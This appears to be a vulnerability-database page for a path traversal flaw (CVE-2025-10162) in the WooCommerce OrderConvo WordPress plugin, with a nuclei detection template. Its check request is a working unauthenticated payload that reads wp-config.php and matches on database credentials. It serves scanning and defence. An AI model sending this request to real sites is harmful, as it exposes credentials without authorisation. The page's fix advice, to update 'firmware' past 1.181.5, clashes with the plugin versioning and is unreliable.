Browse / CVEs / CVE-2025-10162
CVE-2025-10162· CWE-22
WordPress OrderConvo < 14 - Path Traversal
highseverity
7.5CVSS score
4.4%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it
WooCommerce OrderConvo WordPress plugin \u003C 14 contains a path traversal vulnerability caused by improper validation of file download paths, letting unauthenticated attackers read or download arbitrary files remotely
Impact
Unauthenticated attackers can read or download arbitrary files, potentially exposing sensitive information.
Fix
Update firmware to a version later than 1.181.5 or the latest available version.
How to confirm it
Send: GET {{BaseURL}}/wp-json/wooconvo/v1/download-file?order_id=1&filename=../../../../wp-config.php
Positive when: contains "DB_NAME" and "DB_PASSWORD" AND status 200Run it with nuclei: nuclei -id CVE-2025-10162 -u <target>
The full check
id: CVE-2025-10162
info:
name: WordPress OrderConvo < 14 - Path Traversal
author: 0x_Akoko
severity: high
description: |
WooCommerce OrderConvo WordPress plugin \u003C 14 contains a path traversal vulnerability caused by improper validation of file download paths, letting unauthenticated attackers read or download arbitrary files remotely
impact: |
Unauthenticated attackers can read or download arbitrary files, potentially exposing sensitive information.
remediation: |
Update firmware to a version later than 1.181.5 or the latest available version.
reference:
- https://wpscan.com/vulnerability/f878615d-955d-4365-87e0-6c928f548986/
- https://wordpress.org/plugins/admin-and-client-message-after-order-for-woocommerce/
- https://nvd.nist.gov/vuln/detail/CVE-2025-10162
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-10162
cwe-id: CWE-22
epss-score: 0.044
epss-percentile: 0.91401
metadata:
verified: true
max-request: 1
tags: cve,cve2025,wp,wp-plugin,wordpress,woocommerce,orderconvo,wooconvo,lfi,traversal,unauth,vkev
http:
- method: GET
path:
- "{{BaseURL}}/wp-json/wooconvo/v1/download-file?order_id=1&filename=../../../../wp-config.php"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "DB_NAME"
- "DB_PASSWORD"
condition: and
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/f878615d-955d-4365-87e0-6c928f548986/
- https://wordpress.org/plugins/admin-and-client-message-after-order-for-woocommerce/
- https://nvd.nist.gov/vuln/detail/CVE-2025-10162
Use this check only on systems you are authorised to test. Where the data comes from